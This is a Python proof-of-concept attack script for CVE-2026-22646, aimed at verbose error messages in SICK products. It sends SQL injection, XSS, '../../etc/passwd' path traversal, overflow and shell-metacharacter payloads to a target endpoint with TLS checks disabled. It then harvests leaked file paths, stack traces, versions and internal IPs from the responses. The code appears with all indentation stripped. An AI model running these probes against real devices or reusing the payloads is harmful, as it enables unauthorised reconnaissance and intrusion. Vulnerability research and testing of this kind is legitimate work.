# CVE-2026-22646 Information Disclosure PoC
# Target: SICK products with verbose error messages
# This PoC demonstrates how to trigger and collect sensitive error information
import requests
import re
import json
from urllib.parse import urljoin
class CVE202622646_PoC:
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
self.findings = []
def test_error_triggering_payloads(self):
"""Test various payloads to trigger error disclosure"""
payloads = [
{"name": "SQL Injection probe", "data": {"input": "' OR '1'='1"}},
{"name": "XSS probe", "data": {"input": "<script>alert('XSS')</script>"}},
{"name": "Path traversal", "data": {"file": "../../etc/passwd"}},
{"name": "Invalid JSON", "data": "{invalid json"},
{"name": "Long string overflow", "data": {"input": "A" * 10000}},
{"name": "Special characters", "data": {"input": "$;|`<>"}},
]
for payload in payloads:
try:
response = self.session.post(
self.target_url,
json=payload["data"],
timeout=10,
verify=False
)
self.analyze_error_response(response, payload["name"])
except requests.exceptions.RequestException as e:
print(f"Request failed for {payload['name']}: {e}")
def analyze_error_response(self, response, probe_type):
"""Analyze response for information disclosure patterns"""
sensitive_patterns = {
"file_path": r"(/[a-zA-Z0-9_/.-]+)+",
"database_error": r"(SQL|mysql|postgresql|sqlite|oracle)\s+(error|exception)",
"stack_trace": r"(at\s+[\w.]+\([^)]*\)|Exception in thread)",
"version_info": r"(Version|version)[=:][\s]*[0-9.]+",
"internal_ip": r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b",
"config_path": r"(config|conf|cfg)\.[a-z]+",
}
response_text = response.text.lower()
detected_info = []
for info_type, pattern in sensitive_patterns.items():
matches = re.findall(pattern, response.text, re.IGNORECASE)
if matches:
detected_info.append({"type": info_type, "matches": matches[:5]})
if detected_info:
self.findings.append({
"probe": probe_type,
"status_code": response.status_code,
"disclosed_info": detected_info
})
def generate_report(self):
"""Generate vulnerability assessment report"""
report = {
"cve_id": "CVE-2026-22646",
"target": self.target_url,
"vulnerability": "Information Disclosure via Verbose Error Messages",
"findings": self.findings,
"severity": "MEDIUM (CVSS 4.3)",
"recommendation": "Configure application to return generic error messages to users"
}
return json.dumps(report, indent=2)
if __name__ == "__main__":
target = "https://target-sick-device.local/api/endpoint"
poc = CVE202622646_PoC(target)
poc.test_error_triggering_payloads()
print(poc.generate_report())